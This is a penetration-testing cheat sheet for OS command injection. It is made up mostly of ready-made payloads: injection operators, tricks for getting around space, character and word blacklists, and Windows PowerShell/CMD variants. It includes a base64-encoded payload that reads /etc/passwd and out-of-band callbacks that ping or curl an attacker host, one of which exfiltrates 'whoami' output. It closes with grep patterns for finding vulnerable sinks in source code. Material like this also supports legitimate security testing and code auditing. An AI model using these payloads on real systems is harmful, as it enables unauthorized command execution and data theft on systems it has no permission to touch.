OS Command Injection

# surf the site and start crawler in burpsiuite
# look for params like ?cmd=,?ping=,?query=,?arg=,etc.
# example params : https://github.com/lutfumertceylan/top25-parameter/blob/master/rce-paramaters-get-based.txt
 
# automated 
 
python3 commix.py -u http://<TARGET> --data "cmd=whoami" 
# usage example : https://github.com/commixproject/commix/wiki/Usage-examples
 
#manualy
 
# Injection operators append to the intended input, then your command
127.0.0.1; whoami            # ; runs both (not valid in Windows CMD)
127.0.0.1 && whoami          # && runs second only if first succeeds
127.0.0.1 | whoami           # | pipes; only second output shown
|| whoami                    # || runs second only if first FAILS (break the first cmd)
127.0.0.1%0awhoami           # newline (URL-encoded) survives many blacklists
$(whoami)  `whoami`          # sub-shell, Linux only

# Space bypasses (when space is blacklisted, Linux)
127.0.0.1%0a{ls,-la}                 # brace expansion
127.0.0.1%0a${IFS}whoami             # $IFS defaults to space/tab
127.0.0.1%0a%09whoami                # literal tab (%09) between args
 
# Character bypasses build blacklisted chars from env vars
${PATH:0:1}          # -> /   (slash)
${LS_COLORS:10:1}    # -> ;   (semicolon)
${IFS}               # -> space

# Command-name obfuscation (defeat word blacklists)
w'h'o'am'i           # quotes (event counts of quotes)Linux + Windows
who$@ami   w\ho\am\i # $@ / backslash insertion Linux only
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")     # case flip
$(rev<<<'imaohw')                    # reversed command
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk)   # base64-encoded payload, no pipe

# Windows equivalents
127.0.0.1 & whoami                   # & works in CMD; ; only works in PowerShell
who^ami                              # caret insertion (CMD)
$env:HOMEPATH[0]                     # -> \  (build chars from env vars, PS)
iex "$('imaohw'[-1..-20] -join '')"  # reversed command, PowerShell
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

# Confirm blind injection (no output) time delay and out-of-band callback
127.0.0.1%0asleep%095            # response hangs ~5s => code runs
127.0.0.1%0aping%09-c%094%09<LHOST>              # ICMP callback (Linux)
127.0.0.1%0acurl%09http://<LHOST>/$(whoami)      # DNS/HTTP exfil of output

# Probe the quoting context which breakout is required
127.0.0.1; id            # bare / double-quoted context
127.0.0.1' ; id ; '      # single-quoted context needs a matching quote first
127.0.0.1" ; id ; "      # double-quoted context
127.0.0.1$(id)           # interpolation-friendly context (sub-shell)

# Find the dangerous sinks, then trace each back to a request-reachable source
rg -n "system\(|exec\(|shell_exec\(|passthru\(|popen\(|proc_open\(" <SRC>          # PHP
rg -n "child_process|\.exec\(|\.execSync\(|\.spawn\(" <SRC>                          # Node
rg -n "os\.system|subprocess\.(run|call|Popen).*shell=True|os\.popen" <SRC>         # Python
rg -n "Runtime\.getRuntime\(\)\.exec|ProcessBuilder" <SRC>                           # Java
rg -n "\$_(GET|POST|REQUEST|COOKIE)|req\.(query|body|params)|request\.(args|form)" <SRC>

# Linux substring env vars to produce a single needed character
${PATH:0:1}          # /
${LS_COLORS:10:1}    # ;   (printenv to hunt other useful chars)
$(tr '!-}' '"-~'<<<[)   # character shifting: prints \ (shift [ by 1)

# Windows CMD substring an env var to a single char
echo %HOMEPATH:~6,-11%     # \
# Windows PowerShell index into an env var (word = char array)
$env:HOMEPATH[0]           # \